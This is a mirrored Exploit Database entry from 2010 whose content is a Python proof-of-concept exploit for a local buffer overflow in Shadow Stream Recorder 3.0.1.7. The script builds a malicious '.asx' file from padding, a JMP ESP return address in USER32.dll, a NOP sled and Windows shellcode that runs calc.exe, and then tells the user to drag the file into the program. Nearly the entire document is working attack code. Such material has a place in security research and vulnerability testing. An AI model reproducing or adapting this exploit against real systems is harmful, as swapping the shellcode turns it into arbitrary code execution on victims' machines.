Shadow Stream Recorder 3.0.1.7 – ‘.asx’ Local Buffer Overflow

• Exploit Database
• 11 阅读

• 作者： b0telh0
  日期： 2010-03-30
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11957/

• #!/usr/bin/python
  #
  # Title: Shadow Stream Recorder 3.0.1.7 (.asx) Local Buffer Overflow
  # Date: 03-29-2010
  # Author: b0telh0
  # Link: http://www.rm-to-mp3.net/downloads/ssrecordersetup.exe
  # Tested on: Windows XP SP3
  
  
  #
  # windows/exec - 228 bytes
  # EXITFUNC=seh, CMD=calc.exe
  #
  
  shellcode = ("\xda\xd6\xbe\xc4\x14\x6b\x17\x31\xc9\xd9\x74\x24\xf4\x58\xb1"
  	"\x33\x83\xe8\xfc\x31\x70\x14\x03\x70\xd0\xf6\x9e\xeb\x30\x7f"
  	"\x60\x14\xc0\xe0\xe8\xf1\xf1\x32\x8e\x72\xa3\x82\xc4\xd7\x4f"
  	"\x68\x88\xc3\xc4\x1c\x05\xe3\x6d\xaa\x73\xca\x6e\x1a\xbc\x80"
  	"\xac\x3c\x40\xdb\xe0\x9e\x79\x14\xf5\xdf\xbe\x49\xf5\xb2\x17"
  	"\x05\xa7\x22\x13\x5b\x7b\x42\xf3\xd7\xc3\x3c\x76\x27\xb7\xf6"
  	"\x79\x78\x67\x8c\x32\x60\x0c\xca\xe2\x91\xc1\x08\xde\xd8\x6e"
  	"\xfa\x94\xda\xa6\x32\x54\xed\x86\x99\x6b\xc1\x0b\xe3\xac\xe6"
  	"\xf3\x96\xc6\x14\x8e\xa0\x1c\x66\x54\x24\x81\xc0\x1f\x9e\x61"
  	"\xf0\xcc\x79\xe1\xfe\xb9\x0e\xad\xe2\x3c\xc2\xc5\x1f\xb5\xe5"
  	"\x09\x96\x8d\xc1\x8d\xf2\x56\x6b\x97\x5e\x39\x94\xc7\x07\xe6"
  	"\x30\x83\xaa\xf3\x43\xce\xa0\x02\xc1\x74\x8d\x04\xd9\x76\xbe"
  	"\x6c\xe8\xfd\x51\xeb\xf5\xd7\x15\x0d\x07\xea\x83\x99\xbe\x9f"
  	"\xe9\xc4\x40\x4a\x2d\xf0\xc2\x7f\xce\x07\xda\xf5\xcb\x4c\x5c"
  	"\xe5\xa1\xdd\x09\x09\x15\xde\x1b\x6a\xf8\x4c\xc7\x43\x9f\xf4"
  	"\x62\x9c\x55");
  
  junk = "\x41" * 26112
  eip = "\x53\x93\x37\x7E"# 7E379353USER32.dll(JMP ESP)
  nops = "\x90" * 20
  junk2 = "\x41" * 3636
  
  try:
  file = open('b0t.asx','w');
  file.write(junk+eip+nops+shellcode+junk2);
  file.close();
  print "\n[+] b0t.asx created."
  print "[+] Open ssrecorder.exe..."
  print "[+] and drag and drop b0t.asx.\n"
  except:
  print "\n[-] Error.. Can't write file to system.\n"